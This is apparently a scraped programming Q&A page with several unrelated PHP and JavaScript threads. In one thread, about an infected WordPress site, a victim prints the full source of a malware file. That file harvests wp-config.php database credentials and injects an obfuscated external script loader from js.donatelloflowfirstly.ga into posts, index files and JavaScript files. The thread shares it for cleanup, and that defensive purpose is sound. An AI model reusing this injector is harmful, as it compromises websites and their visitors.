Trying to convert Javascript recursion to PHP (easy) - javascript

I have to convert some javascript to PHP for a school project, but there seems to be something I'm missing, because the exact same code is suddenly exiting prematurely.
for(var j=0; j<asciiArray.length;j++) {
passwordFound[location] = String.fromCharCode(asciiArray[j]);
console.log(passwordFound.join(""));
if (password === passwordFound.join("")) {
document.getElementById("password").innerHTML = 'Password: ' + passwordFound.join("");
return true;
}
else if (location < 2) {
var newlocation = location+1;
if (characterDecryptFunction(newlocation,asciiArray,passwordFound,password)) return true;
}
}
This is the PHP:
function characterDecryptFunction($index, $maxIndex, $asciiArray, $passwordFound, $password) {
for ($j=0;$j<count($asciiArray);++$j)
{
$passwordFound[$index] = chr($asciiArray[$j]);
echo "<br>" . implode("", $passwordFound);
if ($password === implode("",$passwordFound)) {
echo "<br>Password is:" . implode($passwordFound);
return true;
}
elseif ($index < $maxIndex)
{
$index = $index+1;
if (characterDecryptFunction($index,$maxIndex, $asciiArray, $passwordFound, $password) == true) return true;
}
}
return false;}
EDIT:
The javascript is called as such:
function decryptFunction() {
var x,y,z,password,asciiArray=[],passwordFound=[];
password="abc";
asciiArray.push(0);
asciiArray.push(32);
for (x=48;x!=58;x++) {
asciiArray.push(x);
}
for (y=97;y!=123;y++) {
asciiArray.push(y);
}
for (z=65;z!=91;z++) {
asciiArray.push(z);
}
characterDecryptFunction(0, asciiArray, passwordFound,password);}
And the PHP:
function decryptFunction() {
$password = $_POST["password"];
$asciiArray=array();
$passwordFound=array();
for($x=48;$x!=58;$x++)
{
array_push($asciiArray, $x);
}
for($x=97;$x!=123;$x++)
{
array_push($asciiArray, $x);
}
for($x=65;$x!=91;$x++)
{
array_push($asciiArray, $x);
}
for ($x=0;$x<count($asciiArray);$x++)
{
echo $asciiArray[$x];
}
echo $password . "<br>";
characterDecryptFunction(0, 2, $asciiArray, $passwordFound, $password); }

It seems crucial that you do not update $index, just like you do not update location in JavaScript. So change the PHP code, introducing $new_index:
$new_index = $index+1;
if (characterDecryptFunction($new_index,$maxIndex, $asciiArray, $passwordFound, $password)) return true;
When the algorithm returns from the recursive calls, i.e. when it backtracks to previous characters, it should continue where it left off. For that $index must have retained its previous value.
NB: Note that in PHP, just as in JavaScript, you don't need to compare with true in the if statement when you know the expression is a boolean.

Related

Random Java Scripts keep adding my WordPress site on every page how should i remove them?

some malware get into my WordPress site and they insert these types of scripts in every post and pages, How can I remove this so I don't have to do it manually one by one
they even inserted this script in robots.txt & in the description of every media item
Crome Inspect ...
editor
" <script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script> "
Either start by disabling the plugin one by one to find out if the culprit comes from one of your plugins. Then, if it does not disappear, try changing the theme.
Or, it would be easier probably to just download the entire and use something like grep4win to search the whole folder for a specific string (in your case js.donatelloflowfirstly).
check your publich_html directory.. maybe you will find a file called : _a
it's a malware injection code that inject
<script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script>
to every post and every index.php file
I've the same issue 10 hours ago and I've cleaned my site
and here's the content of the _a malware file :
<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors',1);
search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php");
die();
function get_var_reg($pat,$text) {
if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
{
return $matches[1][0];
}
return "";
}
function search_file_ms($dir,$file_to_search){
$search_array = array();
$files = scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file_ms( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file_ms( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
show_sitenames($path);
}
} else if($value != "." && $value != "..") {
#search_file_ms($path, $file_to_search);
}
}
}
function show_sitenames($file){
$content = #file_get_contents($file);
if(strpos($content, "DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
// Create connection
$conn = new mysqli($host, $user, $pass);
// Check connection
if ($conn->connect_error) {
} else {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
}
}
}
function search_file($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it($path);
} }else if($value != "." && $value != "..") {
search_file($path, $file_to_search);
}
}
}
function search_file_index($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
search_file_index( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
search_file_index( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it_index($path);
} }else if($value != "." && $value != "..") {
search_file_index($path, $file_to_search);
}
}
}
function search_file_js($dir,$file_to_search){
$files = #scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
#search_file_js( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
#search_file_js( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {
} else {
$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
#system('chmod 777 '.$f);
#file_put_contents($f,$g);
echo "js:".$f."\r\n";
}
}
function make_it_index($f){
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false || strpos($g, 'js.donatelloflowfirstly.ga') !== false) {
} else {
$l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;
#system('chmod 777 '.$f);
#file_put_contents($f,$g);
echo "in:".$f."\r\n";
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {
} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
#system('chmod 777 '.$f);
#file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
#system('chmod 777 '.$f);
#file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
}
}
as you can see, the code reveal DB login info and inject the script code to any index.php file , and theme function too.
i made a search and replace in db, and cleaned this code from all wp_posts table
and almost deleted all plugins because it's infect any index.php file in the whole home directory.
It can be in header.php like this https://gist.github.com/riper81/70e6fa8ac703d105490b6f5bb1708436
But it's pointless to delete it now. First you need to find out how the hacker got to the server and fix the hole. It may be vulnerable version of wordpress engine / plugin, theme (not even active) / custom script / other site on the same server.
I have got this virus, almost every night at 10pm they attack my website. Although i had clean all the malware as mention above.
Just now, i found something abnormal. I check that on my database of this hacked website, there is strange username with all privileged users which i never add into.
Maybe they inject the malware through this privileged users.
Now i delete this privileged users, we'll see whats going to happen next.
Hoping this will solved the problem.
I have already been hit by the second wave of this malware, it acts on Friday, the first time I cleaned all the scripts from the database doing a search for "donatello", after locating the entries, I gave an update to the bank: UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src = 'https: //js.donatelloflowfirstly.ga/stat.js? n = ns1 ′ type =' text / javascript '> </script>”,' ') );
then only a senama started working again, last Friday it came back and I couldn't find these records, it seems that the way of acting has changed.
I just found out that it was in the first lines of the FUNCTIONS.PHP and HEADER.PHP file of my theme, I removed the lines and it worked again, but I still don't know the source of the problem.

Multiple IF ELSE statements not working on blur

I am having issues using multiple "if else" statements. One statement on its own works fine, but adding more statements makes things break. As each if else statement is exactly the same as the previous one I cannot establish what is causing the issue!
My task is to update the variable when an input box is amended, or if no amendment to use the original result from a mySQL query
I am using PHP, HTML & Javascript
$('body').on('blur keyup paste input', '[contenteditable]', function() {
document.getElementById("cancelchanges").style.display='none';
document.getElementById("savechanges").style.display='block';
$d = document.getElementById("d").value;
if ($d == "") {
document.getElementById("nD").value = <? echo $dlr; ?>;
} else {
document.getElementById("nD").value = $d;
}
$c = document.getElementById("contact").value;
if ($c == "") {
document.getElementById("nC").value = <? echo $con; ?>;
} else {
document.getElementById("nC").value = $c;
}
});

Send two variables to js via php

I have
$userPostsInt = array("22", "45", "56");
I am receiving via ajax an id:
$post_id = $_POST['id'];
Then on front end I click and send an ID and I need to check if:
1. the clicked ID is in the array
2. if the array count is <= 2 if not do something
So I try:
$totSaved = array();
$userPostsInt = array("22", "45", "56");
$count = count($userPostsInt);
if($count<2) {
foreach($userPostsInt as $key=>$post){
if( $post == $post_id ) {
foreach($userPostsInt as $idInt){
array_push($totSaved, $idInt);
}
echo json_encode($count);
}
}
} else {
echo json_encode($count);
}
Then on ajax success I do:
success: function(data) {
var received = true;
if(received) {
if(data < 2) {
do_something
} else {
do_something
}
} else {
do_something else
}
}
How can I send 2 variable on echo json_encode($count); in order to do a double check for "is ID in the array? Is the array less than 2?" or is it there another way I'm missing?
the simple way to do is use in_array() along with array output:
$totSaved = array();
$userPostsInt = array("22", "45", "56");
$count = count($userPostsInt);
if(in_array($post_id,$userPostsInt)){
echo json_encode(array('found'=>'yes','count'=>$count));
}else{
$totSaved[] = $post_id;//add new value for next time checks
echo json_encode(array('found'=>'no','count'=>$count));
}

Carriage return in AJAX return text

When I run my ajax action the return text has a return character as the first char. However the echo text used to send is fixed with no spaces or returns. and if i alert the return text there is no carraige return.
I'm running the code from my Godaddy host, running MSQL with PHP5
innerHTML that crates the button - _("comment_"+sid).innerHTML += '<div id="reply_'+rid+'" class="reply_boxes"><div><b>Reply by you just now:</b><span id="srdb_'+rid+'">remove</span><br />'+data+'</div></div>';
_("replyBtn_"+sid).disabled = false;
_(ta).value = "";
js code -
function deleteComment(commentid,commentbox){
var conf = confirm("Press OK to confirm deletion of this status and its replies");
if(conf != true){
return false;
}
var ajax = ajaxObj("POST", "php_parsers/comments_system.php");
ajax.onreadystatechange = function() {
if(ajaxReturn(ajax) == true) {
var deleteOk = ajax.responseText; //This is retuning a return carraige
if(deleteOk = "1"){
_(commentbox).style.display = 'none';
_("replytext_"+commentid).style.display = 'none';
_("replyBtn_"+commentid).style.display = 'none';
} else {
alert(ajax.responseText);
}
}
}
ajax.send("action=delete_comment&commentid="+commentid);
}
This is the PHP code
if (isset($_POST['action']) && $_POST['action'] == "delete_comment"){
if(!isset($_POST['commentid']) || $_POST['commentid'] == ""){
mysqli_close($db_conx);
echo "comment id is missing";
exit();
}
$commentid = preg_replace('#[^0-9]#', '', $_POST['commentid']);
// Check to make sure this logged in user actually owns that comment
$sql = "SELECT author_name FROM comments WHERE parent_id=$commentid LIMIT 1";
$query = mysqli_query($db_conx, $sql);
while ($row = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
$author_name = $row[author_name];
}
if ($author_name == $log_username) {
mysqli_query($db_conx, "DELETE FROM comments WHERE parent_id=$commentid");
mysqli_close($db_conx);
echo "1";
exit();
}else{
echo "$sql - $author_name";
}
}
So I have had to edit my code at the moment to use the int values as it would seem the IF statements still match the return value, but if i use a text return then it does not match. I have an almost identical bit of code to create the comment but this work as expected.

Trying to understand jquery serialization

I'm working with PHP making a form and using regular PHP it works just fine but using jquery it doesn't work anymore. I checked if it was utf-8 but the problem occurs in this method that worked in the normal submit:
public function save_to_DAO()
{
if ($this->questions)
{
try
{
$data = json_encode($this->questions);
$prev = $this->get_from_DAO();
$form = $this->questions;
if(isset($prev)){
$arr = array_merge( $prev, $form );
$data = json_encode($arr);
}
$w = file_put_contents('questions.json', $data);
if($w && $w > 0) {
return true;
}
}
catch (exception $e)
{
die ('ERROR: ' . $e->getMessage() . $this->questions);
return false;
}
}
}
This is the request:
function postQuestion(){
$('.js-submit').click(function(event){
event.preventDefault();
$.post("create_quiz_op.php", $('#qform').serialize(), getQuestions(displayQuestions));
});
}
This is the PHP handler:
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$questions = [];
$cq = new CreateQuizController();
if(isset($_POST['submit']))
{
$question = new Question();
$question->set_id($_POST['id']);
$question->set_question($_POST['question']);
for ($j = 0; $j < count($_POST['answers']); $j++)
{
$question->set_answer($_POST['answers'][$j]);
}
$question->set_right_answer($_POST['right_answer']);
$questions[] = $question;
}
$cq->set_questions($questions);
if($cq->save_to_DAO())
{
print_r(json_encode($cq->get_from_DAO()));
print_r("\n");
}
else {
echo "Problema";
}
}
?>
The call reports on the browser developer tools show that it's not successful. The call reaches PHP but it is not processed successfully.

Categories

Resources